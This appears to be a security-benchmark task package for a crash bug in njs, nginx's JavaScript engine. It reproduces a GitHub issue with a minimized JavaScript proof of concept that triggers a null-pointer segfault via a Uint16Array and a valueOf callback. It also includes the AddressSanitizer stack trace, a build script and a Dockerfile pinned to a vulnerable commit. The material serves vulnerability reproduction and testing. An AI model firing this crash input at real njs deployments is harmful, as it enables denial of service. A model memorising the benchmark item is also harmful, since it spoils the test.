Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2022-34031
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/523
## Description:
Issue: nginx/njs#523
Title: SEGV src/njs_value_conversion.h:17:9 in njs_value_to_number
State: closed
Created by: dramthy
Created at: 2022-06-01 07:38:49+00:00
Labels: bug, fuzzer

Issue Body:
Environment

```
Commit  : c62a9fb92b102c90a66aa724cb9054183a33a68c
Version : 0.7.5
Build   : 
     ./configure --cc=clang --address-sanitizer=YES     
     make
```
Proof of concept
```
// Minimizing 74595E5A-F4AD-43DB-A4E9-34F2D366AD8A
function placeholder(){}
function main() {
var v0 = /gL8?/;
var v1 = {};
var v2 = [v1,v1,v0];
function v4(v5) {
    v2[1866532165] = undefined;
}
function v6(v7,v8) {
    function v10(v11) {
        v11[-4294967297] = Map;
    }
    var v13 = new Uint16Array(v2);
}
v1.valueOf = v4;
var v15 = typeof Map;
var v17 = typeof Map;
var v19 = new Promise(v6);
}
main();
// CRASH INFO
// ==========
// TERMSIG: 11
// STDERR:

```

Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==7855==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x00000063545b bp 0x7ffeac888710 sp 0x7ffeac8884e0 T0)
==7855==The signal is caused by a READ memory access.
==7855==Hint: address points to the zero page.
    #0 0x63545b in njs_value_to_number /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9
    #1 0x63545b in njs_typed_array_alloc /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:171:19
    #2 0x63a56b in njs_typed_array_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_typed_array.c:229:13
    #3 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11
    #4 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16
    #5 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #6 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11
    #7 0x573b65 in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16
    #8 0x573b65 in njs_function_call2 /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:592:11
    #9 0x648ed3 in njs_function_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.h:178:12
    #10 0x648ed3 in njs_promise_constructor_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:214:11
    #11 0x648ed3 in njs_promise_constructor /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_promise.c:164:15
    #12 0x575aae in njs_function_native_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:728:11
    #13 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:766:16
    #14 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #15 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:693:11
    #16 0x573e4f in njs_function_frame_invoke /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_function.c:769:16
    #17 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #18 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
    #19 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
    #20 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
    #21 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
    #22 0x7f8daaa33082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
    #23 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value_conversion.h:17:9 in njs_value_to_number
==7855==ABORTING

```

Credit
dramthy(@topsec alpha)



Commit References:
c62a9fb92b102c90a66aa724cb9054183a33a68c
1878e6b475720c7c51969e69ab2d276fae6d1dee

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 37dc1e788060ba17cdcd6e3fd2695177c9d7aa38
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: